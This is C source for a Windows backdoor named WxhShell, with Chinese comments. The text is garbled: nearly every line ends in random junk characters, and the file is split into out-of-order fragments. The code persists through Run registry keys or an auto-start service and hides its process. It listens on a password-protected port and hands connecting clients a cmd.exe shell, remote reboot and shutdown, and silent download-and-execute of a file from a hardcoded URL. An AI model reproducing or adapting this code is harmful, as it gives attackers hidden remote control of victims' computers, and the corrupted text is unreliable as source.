    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [+A]E,pv]1  
    if(Boot(SHUTDOWN)) 9vDOSwU*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }zkFl{/u  
    else { ,2FI?}+R  
    closesocket(wsh); WZ!zUUp}V  
    ExitThread(0); ^a /q6{  
    } 2)$-L'YS  
    break; vAop#V  
    } "B +F6  
  // 获取shell s}UJv\*  
  case 's': { LTA0WgzR)  
    CmdShell(wsh); ,vMAX?c  
    closesocket(wsh); gWjr|m<  
    ExitThread(0); lJfk4 -;M  
    break; *a8<cf  
  } iYYuZ.  
  // 退出 a0A=R5_  
  case 'x': { * Z)j"i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4|Y1W}!0/  
    CloseIt(wsh); 1Lje.%(E.  
    break; dSTyx#o  
    } wRK27=\z  
  // 离开 m&q0 _nay  
  case 'q': { 47{5{/B-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {/5aF_0D.  
    closesocket(wsh); }C[ "'tLX  
    WSACleanup(); EAWBgOO8iC  
    exit(1); %}~(%@qB>+  
    break; |9FrVO$M  
        } UNv!G/i-5  
  } /7+b.h])^  
  } =\5f_g2M  
G[u6X_Q  
  // 提示信息 tZg)VJQys  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vy={ziJ  
} "u$XEA  
  } 87S,6Y  
x}WP1YyT~  
  return; >fT%CGLC0  
} xbcmvJrG  
(5+g:mSfr  
// shell模块句柄 !vK0|eV3  
int CmdShell(SOCKET sock) Q;q{1M>  
{ T?Z^2.Pvc  
STARTUPINFO si; \C>vj+!cJ  
ZeroMemory(&si,sizeof(si)); -nUK%a"(D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b-@9Xjv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lq.2vfA>  
PROCESS_INFORMATION ProcessInfo; 14uv[z6  
char cmdline[]="cmd"; 5{DwD{Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X6w+L?A  
  return 0; - 3PLP$P  
} fY78  
HSU?4=Q  
// 自身启动模式 S fY9PNck\  
int StartFromService(void) %FqQ+0^  
{ t"J{qfNs  
typedef struct  H4YA  
{ `Z{s,!z  
  DWORD ExitStatus; z_KCG2=5  
  DWORD PebBaseAddress; DMp@B]>  
  DWORD AffinityMask; 3'A0{(b  
  DWORD BasePriority; fJk'5kv  
  ULONG UniqueProcessId; bF,.6iKI  
  ULONG InheritedFromUniqueProcessId; 't*]6^  
}   PROCESS_BASIC_INFORMATION; ?-9uf\2_  
/yx)_x{  
PROCNTQSIP NtQueryInformationProcess; &e*@:5Z:k  
Hdd3n 6*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '?_~{\9<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ij3W8i9'  
^liW*F"UY  
  HANDLE             hProcess; L+@X]O W8  
  PROCESS_BASIC_INFORMATION pbi; P&: [pPG  
=^{MyR7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EDnZ/)6Gg  
  if(NULL == hInst ) return 0; fF#Fc&B  
;GOu'34j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [C;Neslo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XUUP#<,s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i<tJG{A=  
!SnLvW89Z  
  if (!NtQueryInformationProcess) return 0; '<ZHzDW@  
SH8zkAA7u}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B#5[PX  
  if(!hProcess) return 0; FK-q-PKO#.  
1Q9Hs(s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;9ChBA  
-^7 $HD  
  CloseHandle(hProcess); Tj<B;f!u  
5~2_wWjX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g$hEVT  
if(hProcess==NULL) return 0; b<"jmB{  
BE~-0g$W  
HMODULE hMod; _]D 6m2R  
char procName[255]; ! jDopE0L  
unsigned long cbNeeded; D8Mq '$-  
yUxz,36wZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q^@7Yg@l  
N@!PhP  
  CloseHandle(hProcess); M ]O4  
Q uw|KL  
if(strstr(procName,"services")) return 1; // 以服务启动 Vwjic2lGI  
KPjAk  
  return 0; // 注册表启动 /PR 4ILed  
} ?(Plb&kR  
O2 + K  
// 主模块 vfmY >nr  
int StartWxhshell(LPSTR lpCmdLine) C"s-ttP   
{ $T7 qd  
  SOCKET wsl; Nvh& =%{g  
BOOL val=TRUE; 15' fU!  
  int port=0; 9!Xp+<  
  struct sockaddr_in door; R1%J6wZq  
Q%J,: J  
  if(wscfg.ws_autoins) Install(); S}]B|Q  
OZ"76|H1`  
port=atoi(lpCmdLine); !g=b=YK  
s&$e}yxVO  
if(port<=0) port=wscfg.ws_port; Zv-1*hhHf  
0E (G1o'  
  WSADATA data; &0%B3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ORWi+H|  
]A#:Uc5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MOp "kA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W_3BL]^=  
  door.sin_family = AF_INET; M_r[wYt!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  +`ov1h  
  door.sin_port = htons(port); SK 5]7C2  
v?Cakwu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b+hN\/*]  
closesocket(wsl); @qx$b~%  
return 1; DvOvtd  
} ,]]IJ;:w  
T*8K.yw2  
  if(listen(wsl,2) == INVALID_SOCKET) { 8HIX$OX>2  
closesocket(wsl); $}z/BV1I  
return 1; Wyeb1  
} qZ@d:u  
  Wxhshell(wsl); mieyL9*n7  
  WSACleanup(); 8$ #z>  
m!P<# |V  
return 0; @'?gan#(  
b^ [ z'  
} mh SknyqT  
1~LfR  
// 以NT服务方式启动 v*<rNZI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) koD}o^U#  
{ 0]=Bqyg  
DWORD   status = 0; g)|vS>^~  
  DWORD   specificError = 0xfffffff; k"/Rjd(;  
9e vQQN6D|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )N1iGJO)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v '^}zO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .n)R@&9  
  serviceStatus.dwWin32ExitCode     = 0; <X1 lq9 lW  
  serviceStatus.dwServiceSpecificExitCode = 0; Qc PU{#6  
  serviceStatus.dwCheckPoint       = 0; &%qDi_UD  
  serviceStatus.dwWaitHint       = 0; yaWY>sB  
+*Uv+oC|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KU+\fwYpnk  
  if (hServiceStatusHandle==0) return; 9$C?)XKXB  
X')l04P@%  
status = GetLastError(); 8Djki]  
  if (status!=NO_ERROR) DQ[7p(  
{ d&f!\n_~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3?L[ohKH?:  
    serviceStatus.dwCheckPoint       = 0; r ) _*MPY  
    serviceStatus.dwWaitHint       = 0;  {d0-.  
    serviceStatus.dwWin32ExitCode     = status; 7y)Ar 8!D  
    serviceStatus.dwServiceSpecificExitCode = specificError; fk>{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;c DMcKKIA  
    return; 2efdJ&eIV  
  } ZU+_nWnl  
6PS[OB{3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SBDGms  
  serviceStatus.dwCheckPoint       = 0; ,&o^}TFkg  
  serviceStatus.dwWaitHint       = 0; -p>1:M <  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q6e7Z-8  
} Cg`lQY U  
7l~^KsX  
// 处理NT服务事件,比如:启动、停止 *,*O.#<6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %.l={B,i  
{ *vEj\  
switch(fdwControl) tns8B  
{ V |}9bNF  
case SERVICE_CONTROL_STOP: iSW<7pNq0  
  serviceStatus.dwWin32ExitCode = 0; ^yq}>_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vNl)ltzJF  
  serviceStatus.dwCheckPoint   = 0; dga4|7-MY  
  serviceStatus.dwWaitHint     = 0; #<Xq\yC51  
  { [m 6+I9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fqq4Qc)#U&  
  } hiA\~}sl n  
  return; UL>2gl4s/  
case SERVICE_CONTROL_PAUSE: ~/z%yg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~w|h;*Bj  
  break; 'gg <)Bd  
case SERVICE_CONTROL_CONTINUE: g`fMHU7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i^ |G  
  break; 3/yt  
case SERVICE_CONTROL_INTERROGATE: )Ho"b  
  break; KZVdW@DY  
}; 4>vO9q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ F $}/  
} {2D|,yH=  
X#ud5h  
// 标准应用程序主函数 v>Kh5H5e~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g;6/P2w  
{ Tcc83_Iq  
BnGoB`n  
// 获取操作系统版本 CmBgay  
OsIsNt=GetOsVer(); >P\eHR,{-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c_M[>#`  
jWi~Q o+  
  // 从命令行安装 gTOx|bx  
  if(strpbrk(lpCmdLine,"iI")) Install(); m6$&yKQ-=h  
WWZ<[[ >  
  // 下载执行文件  (FaYagD  
if(wscfg.ws_downexe) { =s]2?m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bM:4i1Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); x;E/  
} 0R[fH  
XBkaum4j  
if(!OsIsNt) { [6JDS;MIN  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 @}`1>97  
HideProc(); q9j~|GE|  
StartWxhshell(lpCmdLine); ?b{y#du2a  
} XM w6b*O  
else 3!fR'L/i  
  if(StartFromService()) {f)aFGp  
  // 以服务方式启动 Kl%[fjI)  
  StartServiceCtrlDispatcher(DispatchTable); wCR! bZ w  
else ecoI-@CAI  
  // 普通方式启动 8sc2r  
  StartWxhshell(lpCmdLine); H@$K /  
Q#Zazvk  
return 0; 8#Z)qQWi_t  
} ^v cnDi  
GA[D@Wy  
UI U:^g0  
/HhA2 (g%  
=========================================== fKqr$59>  
pV  u[  
p5vQ.Ni*\-  
L[Z^4l_!  
Us'JMZ~  
z~3ubta8(@  
" Ax;?~v4Z  
4dCXBTT  
#include <stdio.h> etiUt~W  
#include <string.h> M:%g)FgW  
#include <windows.h> :/szA?:W  
#include <winsock2.h> rg k1.0U0  
#include <winsvc.h> -Pt E+R[A  
#include <urlmon.h> RH _b  
eF.nNu  
#pragma comment (lib, "Ws2_32.lib") $hcv}<$/  
#pragma comment (lib, "urlmon.lib") @<pd@Mpf]  
R8u8jG(4  
#define MAX_USER   100 // 最大客户端连接数  aY(s &  
#define BUF_SOCK   200 // sock buffer DT>`.y%2W  
#define KEY_BUFF   255 // 输入 buffer F9K`N8wlu  
?m c%.Bt  
#define REBOOT     0   // 重启 O@iu aeEW  
#define SHUTDOWN   1   // 关机 )+H[kiN  
hAj1{pA,  
#define DEF_PORT   5000 // 监听端口 @t1V o}c  
1.q_f<U  
#define REG_LEN     16   // 注册表键长度 iE.-FZc  
#define SVC_LEN     80   // NT服务名长度 )wVIb)`R>Y  
:SV>+EDY   
// 从dll定义API RmI1`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b6E<r>q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t\v+ogbk)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); { BEo &  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iBudmT8  
gN {'UDg  
// wxhshell配置信息 7DlOW1|  
struct WSCFG { 7FO'{Qq  
  int ws_port;         // 监听端口 tvd0R$5}  
  char ws_passstr[REG_LEN]; // 口令 vEQ<A<[Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no YwcPX`eg  
  char ws_regname[REG_LEN]; // 注册表键名 ZX~ _g@  
  char ws_svcname[REG_LEN]; // 服务名 ~L7:2weV[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &:=$wc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ,YhwpkL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,%YBG1E[y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F\ctuaLC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8e0."o.6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y\v-,xPm  
@DC)]C2  
}; k n8N,,+  
:c8n[+5  
// default Wxhshell configuration Lhh;2r/?78  
struct WSCFG wscfg={DEF_PORT, Y\2|x*KwvF  
    "xuhuanlingzhe", A-CUv[pM  
    1, 8[ry |J  
    "Wxhshell", 3 ?&h^UX  
    "Wxhshell",  BGzI  
            "WxhShell Service", @ \2#Dpr  
    "Wrsky Windows CmdShell Service", amQz^^  
    "Please Input Your Password: ", 7-_vY[)/  
  1, ~:_0CKa!  
  "http://www.wrsky.com/wxhshell.exe", 5.tvB  
  "Wxhshell.exe" Tp<k<uKD  
    }; bzi|s5!'<  
pUl8{YGS  
// 消息定义模块 B pLEPuu30  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TFDm5XJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K t#,]]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DG;y6#|p  
char *msg_ws_ext="\n\rExit."; Eaad,VBtU  
char *msg_ws_end="\n\rQuit."; Ml>( tec  
char *msg_ws_boot="\n\rReboot..."; (Y(E%  
char *msg_ws_poff="\n\rShutdown..."; @;wzsh >o  
char *msg_ws_down="\n\rSave to "; dV8iwI  
p$;I'  
char *msg_ws_err="\n\rErr!"; FbACTeB  
char *msg_ws_ok="\n\rOK!"; A<YsfDa_d  
8cHE[I  
char ExeFile[MAX_PATH]; 3kmeD".  
int nUser = 0; ix Z)tNz  
HANDLE handles[MAX_USER]; u}6v?!  
int OsIsNt; w?csV8ot  
!p 8psi0  
SERVICE_STATUS       serviceStatus; ;LJ3c7$@lf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t^E hE  
d`Q7"}uZ  
// 函数声明 wb"RB A9  
int Install(void); LZ*R[  
int Uninstall(void); ZEbLL4n  
int DownloadFile(char *sURL, SOCKET wsh); =FW5Tkw0  
int Boot(int flag); AW5iV3  
void HideProc(void); y,+[$u7h  
int GetOsVer(void); @LLTB(@wR  
int Wxhshell(SOCKET wsl); -+U/Lrt>8  
void TalkWithClient(void *cs); POU}/e!Ua  
int CmdShell(SOCKET sock); EY>8O+  
int StartFromService(void); `{FwTZ=6{  
int StartWxhshell(LPSTR lpCmdLine); INMP"1  
,=[*Lo>O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $R{8z-,Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g8pm2o@S  
L*]E`Xxd9  
// 数据结构和表定义 >HkhAJhW  
SERVICE_TABLE_ENTRY DispatchTable[] = M:ai<TZ]  
{ m$y]Lf  
{wscfg.ws_svcname, NTServiceMain}, p {%t q$}.  
{NULL, NULL} rPq<Xb\  
}; #w3ru6*W  
VTe.M[:  
// 自我安装 :X .,  
int Install(void) 6 o[/F3`  
{ ,&a`d}g&G  
  char svExeFile[MAX_PATH]; "2HY5 AE  
  HKEY key; 4?]oV%aP)  
  strcpy(svExeFile,ExeFile); T<jfAE  
wFlV=!>,  
// 如果是win9x系统,修改注册表设为自启动 DOL%'k?B  
if(!OsIsNt) { Sw! j=`O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & QZVq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m=&j@  
  RegCloseKey(key); (N U0T w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M$CVQ>op:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q2~5"  
  RegCloseKey(key); ! gp}U#Yv  
  return 0; K%,$ V,#  
    } uzorLeu  
  } dhR(_  
} 9d[qh kPu)  
else { .L;",E  
c>Z*/>~  
// 如果是NT以上系统,安装为系统服务 P%o44|[][  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c" Y!$'|Q  
if (schSCManager!=0) 8l xY]UT  
{ {},;-%xE  
  SC_HANDLE schService = CreateService Sr y,@p)  
  ( Q(\ wx  
  schSCManager, $@87?Ab  
  wscfg.ws_svcname, UxPGv;F  
  wscfg.ws_svcdisp, -ID!pTvW  
  SERVICE_ALL_ACCESS,  Q&+c.S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M4<+%EV}  
  SERVICE_AUTO_START, Lk(S2$)*  
  SERVICE_ERROR_NORMAL, 2bA#D%PHD  
  svExeFile, zv%J=N$G  
  NULL, ZzL@[g  
  NULL, F2oJ]th.3  
  NULL, <%,'$^'DS  
  NULL, X!0kK8v  
  NULL VJ1*|r,  
  ); Fd !iQ  
  if (schService!=0) >rRf9wO1l  
  { H%.zXQ4}n  
  CloseServiceHandle(schService); |[w^eg  
  CloseServiceHandle(schSCManager); ^HFo3V }h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iK x+6v  
  strcat(svExeFile,wscfg.ws_svcname); DPPS?~Pq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dM|g`rr E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2YIF=YWO},  
  RegCloseKey(key); }GRMZh_8  
  return 0; h;n\*[fDc  
    } jyjQzt >\  
  } ^('cbl  
  CloseServiceHandle(schSCManager); G `Izf1B`I  
} |9]PtgQv7  
} ?N#[<kd  
6:RMU  
return 1; "#XtDpGk  
} 9A*rE.B+W  
DNho%Xk  
// 自我卸载 9}n,@@  
int Uninstall(void) W8.j /K:  
{ /W9 &Ke  
  HKEY key; 4I.1D2 1jA  
-h9#G{2W[  
if(!OsIsNt) { :1BM=_WwI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zi3T~:0p:  
  RegDeleteValue(key,wscfg.ws_regname); Sf5]=F-w  
  RegCloseKey(key); BQU/QoDY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pDhY%w#  
  RegDeleteValue(key,wscfg.ws_regname); lu3.KOD/  
  RegCloseKey(key); V* Qe5j9  
  return 0; $F1_^A[  
  } 3B"7VBK{  
} As}eUm)B5c  
} u[mY!(>nQ  
else { Gy^FrF   
g =x"cs/[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z"av|(?d  
if (schSCManager!=0) d q pgf@  
{ @$ftG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /yt7#!tm+  
  if (schService!=0) {tmKCG  
  { ,]U[W  
  if(DeleteService(schService)!=0) { l qXc  
  CloseServiceHandle(schService); Ge~,[If+  
  CloseServiceHandle(schSCManager); [edH%S}\  
  return 0; r+TK5|ke  
  } aL 8Gnqf2  
  CloseServiceHandle(schService); i?W]*V~ply  
  } .S6ji~;r  
  CloseServiceHandle(schSCManager); CjmV+%b4  
} -=>U =|  
} (7 ijt  
mLULd}g/o  
return 1; skK*OO 2-  
} kyK'  
sr4jQo  
// 从指定url下载文件 qhN[Dj(d  
int DownloadFile(char *sURL, SOCKET wsh) . o"<N  
{ @4&, #xo  
  HRESULT hr; p~FQcW'a~  
char seps[]= "/"; ~ ;XYwQ"  
char *token; >Pyc[_j  
char *file; @bY?$fj_u  
char myURL[MAX_PATH]; c G*(C  
char myFILE[MAX_PATH]; 5Fr;  
A~XOK;sB  
strcpy(myURL,sURL); w=5   
  token=strtok(myURL,seps); 4y1>  
  while(token!=NULL) zw< 4G[u  
  { -3\7vpcdN  
    file=token; u'=(&><  
  token=strtok(NULL,seps); TIETj~+  
  } 0 S2v"(_T  
>KKeV(Ur  
GetCurrentDirectory(MAX_PATH,myFILE); )]tvwEo  
strcat(myFILE, "\\"); {Evcc+E q  
strcat(myFILE, file); Z/n3aYM  
  send(wsh,myFILE,strlen(myFILE),0); [Ek42%  
send(wsh,"...",3,0); )ib7K1GJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :TlAL# s&  
  if(hr==S_OK) w)^\_uAlS  
return 0; Jxn3$  
else }E,jR=@  
return 1; Nr%(2[$ =  
0K/G&c?;=  
} ]L$4P y  
KS?mw`Nr  
// 系统电源模块 B%2L1T=  
int Boot(int flag) <_>.!9q  
{ (Hl8U  
  HANDLE hToken; 8,_ -0_^$  
  TOKEN_PRIVILEGES tkp; ?Q;kZmQl  
Q g$($   
  if(OsIsNt) { MSK'2+1T@g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nW~$ (Qnd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ](_{,P  
    tkp.PrivilegeCount = 1; Ny.*G@&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _yNT=#/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LSSW.Oz2L  
if(flag==REBOOT) { %V31B\]Nz7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r?>Vx -  
  return 0;  gm(De9u  
} 'YBi5_  
else { |PI)A`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =l_rAj~I|  
  return 0; Zd8drT'@#  
} -% >8.#~G  
  } c%ZeX%p  
  else { E(% XVr0W  
if(flag==REBOOT) { AfUZO^<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qQL.c+%L  
  return 0; 5dqQws-,?1  
} 8^8>qSD1  
else { A%h~Z a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]7v81G5E  
  return 0; Wgav>7!9  
} ax4*xxU  
} O+p]3u  
MF&3e#mdB  
return 1; >_-!zjO8u  
} ``+c`F?5  
cES;bwQ  
// win9x进程隐藏模块 $p jf#P8U  
void HideProc(void) TH<fbd  
{ d[) _sa  
qC\]"Z`m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r@olC7&  
  if ( hKernel != NULL ) 6`_!?u7  
  { u\M4`p!g=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kNRyOUy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'G<}U343=8  
    FreeLibrary(hKernel); >~h>#{&  
  } "|F. 'qZrm  
xy$vYDAFw  
return; ]}p2Tp;1  
} RV( w%g  
%I_&Ehu  
// 获取操作系统版本 G XarUjs  
int GetOsVer(void) Yr5iZ~V$  
{ {EOn r1  
  OSVERSIONINFO winfo; C5>{Q:.`e'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XI]OA7Zis  
  GetVersionEx(&winfo); {-o7w0d_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D}mo\  
  return 1; F='Xj@&O  
  else ;&K3 [;a  
  return 0; #D= tX  
} P\,F1N_?r  
v$[ @]`  
// 客户端句柄模块 ooomi"u  
int Wxhshell(SOCKET wsl) EW ~*@H  
{ fB_4f{E  
  SOCKET wsh; w}IL 8L(D  
  struct sockaddr_in client; 4Sg<r,G  
  DWORD myID; N{ : [/  
#:]vUQ  
  while(nUser<MAX_USER)  yQ<6p3  
{ _2]e1_=  
  int nSize=sizeof(client); F<h&3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $eK8GMxZ#  
  if(wsh==INVALID_SOCKET) return 1; J f\Qf  
8o!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )WaX2uDA?  
if(handles[nUser]==0) _u#/u2<  
  closesocket(wsh); Qe7" Z  
else 3js)niT9u  
  nUser++; 3Qqnw{*  
  } g {00i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @'S-nn,sO  
)Z62xK2  
  return 0; 76 y}1aa  
} I*X| pRD  
+iXA|L9=  
// 关闭 socket ?vXy7y&4  
void CloseIt(SOCKET wsh) TY? Fs-  
{ P63f0 F-G  
closesocket(wsh); BUtXHD  
nUser--; 9N9;EY-U  
ExitThread(0); [j5L}e!T  
} r!;NH3 *  
us/x.qPy2  
// 客户端请求句柄 j}y"  
void TalkWithClient(void *cs) k}/0B  
{ P? >p+dM  
oM< 9]jK}  
  SOCKET wsh=(SOCKET)cs; Pd>hd0!.%  
  char pwd[SVC_LEN]; +~7@K{6 q-  
  char cmd[KEY_BUFF]; y0Ag px  
char chr[1]; d8av`m  
int i,j; NKRNEq!  
4re^j4L~o  
  while (nUser < MAX_USER) { Yk:\oM   
&QvWT+]c'0  
if(wscfg.ws_passstr) { @@+\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ur_~yX]Mo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F$d`Umqs;P  
  //ZeroMemory(pwd,KEY_BUFF); x6m21DWw  
      i=0; p!173y,nL  
  while(i<SVC_LEN) { |06G)r&  
PX+$Us  
  // 设置超时 9"&HxyOfX  
  fd_set FdRead; L~~;i'J  
  struct timeval TimeOut; o: qB#8X  
  FD_ZERO(&FdRead); mim]nRd2v  
  FD_SET(wsh,&FdRead); L[D}pL=  
  TimeOut.tv_sec=8; ;l"z4>kt7  
  TimeOut.tv_usec=0; YYN= `ST  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7R ;!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $kg!XT{ V  
bq]af.o*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^[!LU  
  pwd=chr[0]; iN<Tn8-YH6  
  if(chr[0]==0xd || chr[0]==0xa) { FK0nQ{uB"  
  pwd=0; !'MZeiLP  
  break; njX!Ez  
  } >tYptRP  
  i++; c)+IX;q-C  
    } T-uI CMEf  
Jk 0 ;<2j  
  // 如果是非法用户,关闭 socket "4zTP!Ow  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kF`2%g+  
} = T!iM2  
y.HE3tH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R=xT\i{4h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H4MFTnJ{  
?=$a6o  
while(1) { ,_D`0B6o  
%TP0i#J  
  ZeroMemory(cmd,KEY_BUFF); <T,vIXwu+  
kO+Y5z6=  
      // 自动支持客户端 telnet标准   8 W79  
  j=0; zvL;.U  
  while(j<KEY_BUFF) { ]`b/_LJN$F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QQj)"XJ29  
  cmd[j]=chr[0]; ?v \A&d  
  if(chr[0]==0xa || chr[0]==0xd) { IR(qjm\V  
  cmd[j]=0; Lp.,:z7  
  break; $<OX\f%  
  } GFB(c  
  j++; oYG9i=lZ  
    } bx#GOK-  
ZBUEg7c  
  // 下载文件 Rt}H.D #  
  if(strstr(cmd,"http://")) { iimTr_TEt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E3@G^Y  
  if(DownloadFile(cmd,wsh)) n6Je5fE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d kVF  
  else W2?6f:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JR] /\(  
  } >x]b"@Hkw  
  else { (NR8B9qLN  
